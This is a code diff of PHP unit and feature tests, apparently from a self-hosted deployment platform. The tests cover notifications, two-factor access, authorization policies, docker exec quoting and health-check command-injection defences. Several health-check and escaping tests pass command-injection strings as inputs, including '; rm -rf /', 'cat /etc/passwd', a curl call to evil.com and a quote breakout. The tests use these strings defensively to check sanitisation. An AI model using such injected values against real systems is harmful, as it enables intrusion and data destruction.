expect($this->team->isAnyNotificationEnabled())->toBeTrue();
|
||||
});
|
||||
|
||||
test('returns true when pushover notifications are enabled', function () {
|
||||
$this->team->pushoverNotificationSettings->update(['pushover_enabled' => true]);
|
||||
|
||||
expect($this->team->isAnyNotificationEnabled())->toBeTrue();
|
||||
});
|
||||
|
||||
test('returns true when webhook notifications are enabled', function () {
|
||||
$this->team->webhookNotificationSettings->update(['webhook_enabled' => true]);
|
||||
|
||||
expect($this->team->isAnyNotificationEnabled())->toBeTrue();
|
||||
});
|
||||
});
|
||||
65
tests/Feature/TwoFactorChallengeAccessTest.php
Normal file
65
tests/Feature/TwoFactorChallengeAccessTest.php
Normal file
|
|
@ -0,0 +1,65 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->personal()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
it('allows unauthenticated access to two-factor-challenge page', function () {
|
||||
$response = $this->get('/two-factor-challenge');
|
||||
|
||||
// Fortify returns a redirect to /login if there's no login.id in session,
|
||||
// but the important thing is it does NOT return a 419 or 500
|
||||
expect($response->status())->toBeIn([200, 302]);
|
||||
});
|
||||
|
||||
it('includes two-factor-challenge in allowed paths for unsubscribed accounts', function () {
|
||||
$paths = allowedPathsForUnsubscribedAccounts();
|
||||
|
||||
expect($paths)->toContain('two-factor-challenge');
|
||||
});
|
||||
|
||||
it('includes two-factor-challenge in allowed paths for invalid accounts', function () {
|
||||
$paths = allowedPathsForInvalidAccounts();
|
||||
|
||||
expect($paths)->toContain('two-factor-challenge');
|
||||
});
|
||||
|
||||
it('includes two-factor-challenge in allowed paths for boarding accounts', function () {
|
||||
$paths = allowedPathsForBoardingAccounts();
|
||||
|
||||
expect($paths)->toContain('two-factor-challenge');
|
||||
});
|
||||
|
||||
it('does not redirect authenticated user with force_password_reset from two-factor-challenge', function () {
|
||||
$this->user->update(['force_password_reset' => true]);
|
||||
|
||||
$response = $this->actingAs($this->user)->get('/two-factor-challenge');
|
||||
|
||||
// Should NOT redirect to force-password-reset page
|
||||
if ($response->isRedirect()) {
|
||||
expect($response->headers->get('Location'))->not->toContain('force-password-reset');
|
||||
}
|
||||
});
|
||||
|
||||
it('renders 419 error page with login link instead of previous url', function () {
|
||||
$response = $this->get('/two-factor-challenge', [
|
||||
'X-CSRF-TOKEN' => 'invalid-token',
|
||||
]);
|
||||
|
||||
// The 419 page should exist and contain a link to /login
|
||||
$view = view('errors.419')->render();
|
||||
|
||||
expect($view)->toContain('/login');
|
||||
expect($view)->toContain('Back to Login');
|
||||
expect($view)->toContain('This page is definitely old, not like you!');
|
||||
expect($view)->not->toContain('url()->previous()');
|
||||
});
|
||||
11
tests/Unit/ApplicationDeploymentTypeTest.php
Normal file
11
tests/Unit/ApplicationDeploymentTypeTest.php
Normal file
|
|
@ -0,0 +1,11 @@
|
|||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
|
||||
it('treats zero private key id as deploy key', function () {
|
||||
$application = new Application();
|
||||
$application->private_key_id = 0;
|
||||
$application->source = null;
|
||||
|
||||
expect($application->deploymentType())->toBe('deploy_key');
|
||||
});
|
||||
35
tests/Unit/ExecuteInDockerEscapingTest.php
Normal file
35
tests/Unit/ExecuteInDockerEscapingTest.php
Normal file
|
|
@ -0,0 +1,35 @@
|
|||
<?php
|
||||
|
||||
it('passes a simple command through correctly', function () {
|
||||
$result = executeInDocker('test-container', 'ls -la /app');
|
||||
|
||||
expect($result)->toBe("docker exec test-container bash -c 'ls -la /app'");
|
||||
});
|
||||
|
||||
it('escapes single quotes in command', function () {
|
||||
$result = executeInDocker('test-container', "echo 'hello world'");
|
||||
|
||||
expect($result)->toBe("docker exec test-container bash -c 'echo '\\''hello world'\\'''");
|
||||
});
|
||||
|
||||
it('prevents command injection via single quote breakout', function () {
|
||||
$malicious = "cd /dir && docker compose build'; id; #";
|
||||
$result = executeInDocker('test-container', $malicious);
|
||||
|
||||
// The single quote in the malicious command should be escaped so it cannot break out of bash -c
|
||||
// The raw unescaped pattern "build'; id;" must not appear — the quote must be escaped
|
||||
expect($result)->not->toContain("build'; id;");
|
||||
expect($result)->toBe("docker exec test-container bash -c 'cd /dir && docker compose build'\\''; id; #'");
|
||||
});
|
||||
|
||||
it('handles empty command', function () {
|
||||
$result = executeInDocker('test-container', '');
|
||||
|
||||
expect($result)->toBe("docker exec test-container bash -c ''");
|
||||
});
|
||||
|
||||
it('handles command with multiple single quotes', function () {
|
||||
$result = executeInDocker('test-container', "echo 'a' && echo 'b'");
|
||||
|
||||
expect($result)->toBe("docker exec test-container bash -c 'echo '\\''a'\\'' && echo '\\''b'\\'''");
|
||||
});
|
||||
270
tests/Unit/HealthCheckCommandInjectionTest.php
Normal file
270
tests/Unit/HealthCheckCommandInjectionTest.php
Normal file
|
|
@ -0,0 +1,270 @@
|
|||
<?php
|
||||
|
||||
use App\Jobs\ApplicationDeploymentJob;
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationDeploymentQueue;
|
||||
use App\Models\ApplicationSetting;
|
||||
use Illuminate\Support\Facades\Validator;
|
||||
use Mockery;
|
||||
|
||||
beforeEach(function () {
|
||||
Mockery::close();
|
||||
});
|
||||
|
||||
afterEach(function () {
|
||||
Mockery::close();
|
||||
});
|
||||
|
||||
it('sanitizes health_check_host to prevent command injection', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_host' => 'localhost; id > /tmp/pwned #',
|
||||
]);
|
||||
|
||||
// Should fall back to 'localhost' because input contains shell metacharacters
|
||||
expect($result)->not->toContain('; id')
|
||||
->and($result)->not->toContain('/tmp/pwned')
|
||||
->and($result)->toContain('localhost');
|
||||
});
|
||||
|
||||
it('sanitizes health_check_method to prevent command injection', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_method' => 'GET; curl http://evil.com #',
|
||||
]);
|
||||
|
||||
expect($result)->not->toContain('evil.com')
|
||||
->and($result)->not->toContain('; curl');
|
||||
});
|
||||
|
||||
it('sanitizes health_check_path to prevent command injection', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_path' => '/health; rm -rf / #',
|
||||
]);
|
||||
|
||||
expect($result)->not->toContain('rm -rf')
|
||||
->and($result)->not->toContain('; rm');
|
||||
});
|
||||
|
||||
it('sanitizes health_check_scheme to prevent command injection', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_scheme' => 'http; cat /etc/passwd #',
|
||||
]);
|
||||
|
||||
expect($result)->not->toContain('/etc/passwd')
|
||||
->and($result)->not->toContain('; cat');
|
||||
});
|
||||
|
||||
it('casts health_check_port to integer to prevent injection', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_port' => '8080; whoami',
|
||||
]);
|
||||
|
||||
// (int) cast on non-numeric after digits yields 8080
|
||||
expect($result)->not->toContain('whoami')
|
||||
->and($result)->toContain('8080');
|
||||
});
|
||||
|
||||
it('generates valid healthcheck command with safe inputs', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_method' => 'GET',
|
||||
'health_check_scheme' => 'http',
|
||||
'health_check_host' => 'localhost',
|
||||
'health_check_port' => '8080',
|
||||
'health_check_path' => '/health',
|
||||
]);
|
||||
|
||||
expect($result)->toContain('curl -s -X')
|
||||
->and($result)->toContain('http://localhost:8080/health')
|
||||
->and($result)->toContain('wget -q -O-');
|
||||
});
|
||||
|
||||
it('uses escapeshellarg on the constructed URL', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_host' => 'my-app.local',
|
||||
'health_check_path' => '/api/health',
|
||||
]);
|
||||
|
||||
// escapeshellarg wraps in single quotes
|
||||
expect($result)->toContain("'http://my-app.local:80/api/health'");
|
||||
});
|
||||
|
||||
it('validates health_check_host rejects shell metacharacters via API rules', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = Validator::make(
|
||||
['health_check_host' => 'localhost; id #'],
|
||||
['health_check_host' => $rules['health_check_host']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('validates health_check_method rejects invalid methods via API rules', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = Validator::make(
|
||||
['health_check_method' => 'GET; curl evil.com'],
|
||||
['health_check_method' => $rules['health_check_method']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('validates health_check_scheme rejects invalid schemes via API rules', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = Validator::make(
|
||||
['health_check_scheme' => 'http; whoami'],
|
||||
['health_check_scheme' => $rules['health_check_scheme']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('validates health_check_path rejects shell metacharacters via API rules', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = Validator::make(
|
||||
['health_check_path' => '/health; rm -rf /'],
|
||||
['health_check_path' => $rules['health_check_path']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('validates health_check_port rejects non-numeric values via API rules', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = Validator::make(
|
||||
['health_check_port' => '8080; whoami'],
|
||||
['health_check_port' => $rules['health_check_port']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('allows valid health check values via API rules', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = Validator::make(
|
||||
[
|
||||
'health_check_host' => 'my-app.localhost',
|
||||
'health_check_method' => 'GET',
|
||||
'health_check_scheme' => 'https',
|
||||
'health_check_path' => '/api/v1/health',
|
||||
'health_check_port' => 8080,
|
||||
],
|
||||
[
|
||||
'health_check_host' => $rules['health_check_host'],
|
||||
'health_check_method' => $rules['health_check_method'],
|
||||
'health_check_scheme' => $rules['health_check_scheme'],
|
||||
'health_check_path' => $rules['health_check_path'],
|
||||
'health_check_port' => $rules['health_check_port'],
|
||||
]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
it('generates CMD healthcheck command directly', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => 'pg_isready -U postgres',
|
||||
]);
|
||||
|
||||
expect($result)->toBe('pg_isready -U postgres');
|
||||
});
|
||||
|
||||
it('strips newlines from CMD healthcheck command', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => "redis-cli ping\n&& echo pwned",
|
||||
]);
|
||||
|
||||
expect($result)->not->toContain("\n")
|
||||
->and($result)->toBe('redis-cli ping && echo pwned');
|
||||
});
|
||||
|
||||
it('falls back to HTTP healthcheck when CMD type has empty command', function () {
|
||||
$result = callGenerateHealthcheckCommands([
|
||||
'health_check_type' => 'cmd',
|
||||
'health_check_command' => '',
|
||||
]);
|
||||
|
||||
// Should fall through to HTTP path
|
||||
expect($result)->toContain('curl -s -X');
|
||||
});
|
||||
|
||||
it('validates healthCheckCommand rejects strings over 1000 characters', function () {
|
||||
$rules = [
|
||||
'healthCheckCommand' => 'nullable|string|max:1000',
|
||||
];
|
||||
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => str_repeat('a', 1001)],
|
||||
$rules
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
it('validates healthCheckCommand accepts strings under 1000 characters', function () {
|
||||
$rules = [
|
||||
'healthCheckCommand' => 'nullable|string|max:1000',
|
||||
];
|
||||
|
||||
$validator = Validator::make(
|
||||
['healthCheckCommand' => 'pg_isready -U postgres'],
|
||||
$rules
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
/**
|
||||
* Helper: Invokes the private generate_healthcheck_commands() method via reflection.
|
||||
*/
|
||||
function callGenerateHealthcheckCommands(array $overrides = []): string
|
||||
{
|
||||
$defaults = [
|
||||
'health_check_type' => 'http',
|
||||
'health_check_command' => null,
|
||||
'health_check_method' => 'GET',
|
||||
'health_check_scheme' => 'http',
|
||||
'health_check_host' => 'localhost',
|
||||
'health_check_port' => null,
|
||||
'health_check_path' => '/',
|
||||
'ports_exposes' => '80',
|
||||
];
|
||||
|
||||
$values = array_merge($defaults, $overrides);
|
||||
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->shouldReceive('getAttribute')->with('health_check_type')->andReturn($values['health_check_type']);
|
||||
$application->shouldReceive('getAttribute')->with('health_check_command')->andReturn($values['health_check_command']);
|
||||
$application->shouldReceive('getAttribute')->with('health_check_method')->andReturn($values['health_check_method']);
|
||||
$application->shouldReceive('getAttribute')->with('health_check_scheme')->andReturn($values['health_check_scheme']);
|
||||
$application->shouldReceive('getAttribute')->with('health_check_host')->andReturn($values['health_check_host']);
|
||||
$application->shouldReceive('getAttribute')->with('health_check_port')->andReturn($values['health_check_port']);
|
||||
$application->shouldReceive('getAttribute')->with('health_check_path')->andReturn($values['health_check_path']);
|
||||
$application->shouldReceive('getAttribute')->with('ports_exposes_array')->andReturn(explode(',', $values['ports_exposes']));
|
||||
$application->shouldReceive('getAttribute')->with('build_pack')->andReturn('nixpacks');
|
||||
|
||||
$settings = Mockery::mock(ApplicationSetting::class)->makePartial();
|
||||
$settings->shouldReceive('getAttribute')->with('is_static')->andReturn(false);
|
||||
$application->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
|
||||
|
||||
$deploymentQueue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial();
|
||||
|
||||
$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
|
||||
|
||||
$reflection = new ReflectionClass($job);
|
||||
|
||||
$appProp = $reflection->getProperty('application');
|
||||
$appProp->setAccessible(true);
|
||||
$appProp->setValue($job, $application);
|
||||
|
||||
$method = $reflection->getMethod('generate_healthcheck_commands');
|
||||
$method->setAccessible(true);
|
||||
|
||||
return $method->invoke($job);
|
||||
}
|
||||
227
tests/Unit/Policies/GithubAppPolicyTest.php
Normal file
227
tests/Unit/Policies/GithubAppPolicyTest.php
Normal file
|
|
@ -0,0 +1,227 @@
|
|||
<?php
|
||||
|
||||
use App\Models\User;
|
||||
use App\Policies\GithubAppPolicy;
|
||||
|
||||
it('allows any user to view any github apps', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->viewAny($user))->toBeTrue();
|
||||
});
|
||||
|
||||
it('allows any user to view system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = true;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->view($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('allows team member to view non-system-wide github app', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->view($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies non-team member to view non-system-wide github app', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 2, 'pivot' => (object) ['role' => 'member']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->view($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows admin to create github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdmin')->andReturn(true);
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->create($user))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies non-admin to create github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdmin')->andReturn(false);
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->create($user))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows user with system access to update system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('canAccessSystemResources')->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = true;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->update($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies user without system access to update system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('canAccessSystemResources')->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = true;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->update($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows team admin to update non-system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->update($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to update non-system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->update($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows user with system access to delete system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('canAccessSystemResources')->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = true;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->delete($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies user without system access to delete system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('canAccessSystemResources')->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = true;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->delete($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows team admin to delete non-system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->delete($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to delete non-system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->delete($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('denies restore of github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->restore($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('denies force delete of github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->forceDelete($user, $model))->toBeFalse();
|
||||
});
|
||||
163
tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php
Normal file
163
tests/Unit/Policies/SharedEnvironmentVariablePolicyTest.php
Normal file
|
|
@ -0,0 +1,163 @@
|
|||
<?php
|
||||
|
||||
use App\Models\User;
|
||||
use App\Policies\SharedEnvironmentVariablePolicy;
|
||||
|
||||
it('allows any user to view any shared environment variables', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->viewAny($user))->toBeTrue();
|
||||
});
|
||||
|
||||
it('allows team member to view their team shared environment variable', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->view($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies non-team member to view shared environment variable', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 2;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->view($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows admin to create shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdmin')->andReturn(true);
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->create($user))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies non-admin to create shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdmin')->andReturn(false);
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->create($user))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows team admin to update shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->update($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to update shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->update($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows team admin to delete shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->delete($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to delete shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->delete($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('denies restore of shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->restore($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('denies force delete of shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->forceDelete($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows team admin to manage environment', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->manageEnvironment($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to manage environment', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->manageEnvironment($user, $model))->toBeFalse();
|
||||
});
|
||||
|
|
@ -112,7 +112,7 @@ uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
|
|||
);
|
||||
|
||||
$this->expectException(\Exception::class);
|
||||
$this->expectExceptionMessage('SSH keys storage directory is not writable');
|
||||
$this->expectExceptionMessage('SSH keys storage directory is not writable. Run on the host: sudo chown -R 9999 /data/coolify/ssh && sudo chmod -R 700 /data/coolify/ssh && docker restart coolify');
|
||||
|
||||
PrivateKey::createAndStore([
|
||||
'name' => 'Test Key',
|
||||
|
|
|
|||
|
|
@ -24,7 +24,7 @@ it('uses WithoutOverlapping middleware with expireAfter to prevent stale locks',
|
|||
$expiresAfterProperty->setAccessible(true);
|
||||
$expiresAfter = $expiresAfterProperty->getValue($overlappingMiddleware);
|
||||
|
||||
expect($expiresAfter)->toBe(60)
|
||||
expect($expiresAfter)->toBe(90)
|
||||
->and($expiresAfter)->toBeGreaterThan(0, 'expireAfter must be set to prevent stale locks');
|
||||
|
||||
// Check releaseAfter is NOT set (we use dontRelease)
|
||||
|
|
|
|||
52
tests/Unit/StartKeydbConfigPermissionTest.php
Normal file
52
tests/Unit/StartKeydbConfigPermissionTest.php
Normal file
|
|
@ -0,0 +1,52 @@
|
|||
<?php
|
||||
|
||||
use App\Actions\Database\StartKeydb;
|
||||
use App\Models\StandaloneKeydb;
|
||||
|
||||
test('keydb config chown command is added when keydb_conf is set', function () {
|
||||
$action = new StartKeydb;
|
||||
$action->configuration_dir = '/data/coolify/databases/test-uuid';
|
||||
$action->commands = [];
|
||||
|
||||
$database = Mockery::mock(StandaloneKeydb::class)->makePartial();
|
||||
$database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn('maxmemory 2gb');
|
||||
$action->database = $database;
|
||||
|
||||
if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) {
|
||||
$action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf";
|
||||
}
|
||||
|
||||
expect($action->commands)->toContain('chown 999:999 /data/coolify/databases/test-uuid/keydb.conf');
|
||||
});
|
||||
|
||||
test('keydb config chown command is not added when keydb_conf is null', function () {
|
||||
$action = new StartKeydb;
|
||||
$action->configuration_dir = '/data/coolify/databases/test-uuid';
|
||||
$action->commands = [];
|
||||
|
||||
$database = Mockery::mock(StandaloneKeydb::class)->makePartial();
|
||||
$database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn(null);
|
||||
$action->database = $database;
|
||||
|
||||
if (! is_null($action->database->keydb_conf) && ! empty($action->database->keydb_conf)) {
|
||||
$action->commands[] = "chown 999:999 {$action->configuration_dir}/keydb.conf";
|
||||
}
|
||||
|
||||
expect($action->commands)->toBeEmpty();
|
||||
});
|
||||
|
||||
test('keydb config chown command is not added when keydb_conf is empty', function () {
|
||||
$action = new StartKeydb;
|
||||
$action->configuration_dir = '/data/coolify/databases/test-uuid';
|
||||
$action->commands = [];
|
||||
|
||||
$database = Mockery::mock(StandaloneKeydb::class)->makePartial();
|
||||
$database->shouldReceive('getAttribute')->with('keydb_conf')->andReturn('');
|
||||
